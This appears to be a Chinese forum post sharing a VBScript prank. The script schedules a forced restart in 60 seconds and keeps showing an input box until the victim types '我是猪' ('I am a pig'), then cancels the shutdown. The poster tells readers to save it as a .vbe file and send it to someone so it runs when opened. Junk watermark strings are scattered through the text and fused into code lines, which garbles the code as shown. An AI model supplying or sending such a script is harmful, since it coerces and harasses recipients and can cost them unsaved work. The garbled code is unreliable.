|
试试我这种
7 Y3 W% M( p, x
4 H( Y/ c( o8 w2 d1 C! q1 H7 }) M3 ]# q$ }# S' x3 i& H
代码如下:
( c7 b- H* z# {9 A, a) f& P2 Won error resume next+ ~+ r& L# o" u6 u, {' ?1 Z
dim WSHshellA
" d% e/ ]" T% X vset WSHshellA = wscript.createobject("wscript.shell")
0 m% e+ I5 {' ^' ?" jWSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true 0 q* S/ X* s- {' W1 y. c- B8 E
dim a
& X& X1 L' h" ^7 _0 ~. Gdo while(a <> "我是猪")
8 Z/ L$ x, F- Z0 A/ Y! n2 Xa = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
1 D* t) @. o8 q( Wmsgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"* k8 }2 y8 f- b5 ], R6 E4 f! B/ v
loop
4 t6 D1 p% ] t, k, v4 Dmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
% B- H# H# {" ]4 G6 jdim WSHshell$ T+ R, G. W) Q
set WSHshell = wscript.createobject("wscript.shell")3 w9 J& r3 G' r/ N, b( l; I) h4 N
WSHshell.run "cmd.exe /c shutdown -a",0 ,true ) _1 C% o6 h2 S; k) M3 i
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"
+ _+ g9 S1 N# ?# X; j
" R& n) r' A( ^3 C4 y1 Z7 r" t6 V, }1 Z
" m! @6 `6 n) F% k: C& g
把上面的文字复制到记事本内。另存为名字随便你起记住后面的一定要加 .vbe
B3 E$ D& U! |; g5 y# Z) w/ `4 w$ h! u {; N0 v6 C+ ^ p2 G
8 H/ X8 F7 [6 I2 B& v
使用文件传送给对方 只要对方一打开一分钟就会关机。如上面说的要你说那三个字就不会关机了哈哈大家试试吧。 |
|